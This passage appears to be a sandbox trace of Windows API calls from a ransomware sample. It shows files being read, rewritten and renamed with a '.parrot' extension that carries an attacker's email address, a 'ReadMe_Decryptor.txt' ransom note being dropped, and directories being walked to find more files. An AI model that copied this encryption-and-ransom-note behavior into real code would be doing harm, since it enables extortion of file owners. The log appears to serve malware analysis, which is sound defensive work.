lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0092.697] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.698] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe700, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0xe700, lpOverlapped=0x0) returned 1 [0092.698] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.698] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.698] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0092.698] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.698] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.698] GetLastError () returned 0x0 [0092.699] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0092.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d6758 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6758 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b680 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b680 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x655920 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x318a060 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x318a060 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6572a0 [0092.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x649360 [0092.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x64b328 [0092.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649360 | out: hHeap=0x5b0000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x629218 [0092.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64b328 | out: hHeap=0x5b0000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x649360 [0092.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0092.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649360 | out: hHeap=0x5b0000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2242f30 [0092.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0092.703] WriteFile (in: hFile=0x264, lpBuffer=0x2242f40*, nNumberOfBytesToWrite=0xe828, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2242f40*, lpNumberOfBytesWritten=0x18eed4*=0xe828, lpOverlapped=0x0) returned 1 [0092.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.704] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe818, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.704] CloseHandle (hObject=0x264) returned 1 [0092.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6ab050 [0092.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x65fb08 [0092.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab050 | out: hHeap=0x5b0000) returned 1 [0092.706] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\MeV75k7H_gpq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\mev75k7h_gpq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\MeV75k7H_gpq.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\mev75k7h_gpq.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65fb08 | out: hHeap=0x5b0000) returned 1 [0092.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639320 | out: hHeap=0x5b0000) returned 1 [0092.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0092.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ae2c8 [0092.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0092.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0092.710] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0092.710] GetFileType (hFile=0x264) returned 0x1 [0092.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6572a0 [0092.768] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.768] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0092.769] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.769] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2f18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x2f18, lpOverlapped=0x0) returned 1 [0092.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0092.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.769] GetLastError () returned 0x0 [0092.770] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0092.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0092.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d6758 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6758 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b680 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b680 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x655920 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x318a060 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x318a060 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6572a0 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x629218 [0092.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0092.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6312e0 [0092.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0092.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x634278 [0092.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6312e0 | out: hHeap=0x5b0000) returned 1 [0092.772] WriteFile (in: hFile=0x264, lpBuffer=0x634280*, nNumberOfBytesToWrite=0x3038, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x634280*, lpNumberOfBytesWritten=0x18eed4*=0x3038, lpOverlapped=0x0) returned 1 [0092.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x634278 | out: hHeap=0x5b0000) returned 1 [0092.774] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3030, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.774] CloseHandle (hObject=0x264) returned 1 [0092.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6ab050 [0092.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x65fb08 [0092.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab050 | out: hHeap=0x5b0000) returned 1 [0092.774] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\OpdCBnyXRaTj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\opdcbnyxratj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\OpdCBnyXRaTj.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\opdcbnyxratj.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65fb08 | out: hHeap=0x5b0000) returned 1 [0092.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d2a0 | out: hHeap=0x5b0000) returned 1 [0092.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0092.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ae2c8 [0092.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0092.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0092.777] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0092.777] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.777] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26d970f0, ftCreationTime.dwHighDateTime=0x1d5be3b, ftLastAccessTime.dwLowDateTime=0xcbb81030, ftLastAccessTime.dwHighDateTime=0x1d5bfae, ftLastWriteTime.dwLowDateTime=0xcbb81030, ftLastWriteTime.dwHighDateTime=0x1d5bfae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.777] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0092.777] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0092.777] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba730750, ftCreationTime.dwHighDateTime=0x1d5c19b, ftLastAccessTime.dwLowDateTime=0xb2de7f10, ftLastAccessTime.dwHighDateTime=0x1d5bdf9, ftLastWriteTime.dwLowDateTime=0xb2de7f10, ftLastWriteTime.dwHighDateTime=0x1d5bdf9, nFileSizeHigh=0x0, nFileSizeLow=0x16f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="6FtVpVYIe6 Xp.mp3", cAlternateFileName="6FTVPV~1.MP3")) returned 1 [0092.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0092.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.777] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.777] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.778] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.778] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16f56, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x16f56, lpOverlapped=0x0) returned 1 [0092.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0092.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.779] GetLastError () returned 0x0 [0092.782] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0092.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0092.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0092.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0092.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0092.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d6758 [0092.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0092.785] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\6FtVpVYIe6 Xp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\6ftvpvyie6 xp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\6FtVpVYIe6 Xp.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\6ftvpvyie6 xp.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0092.790] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 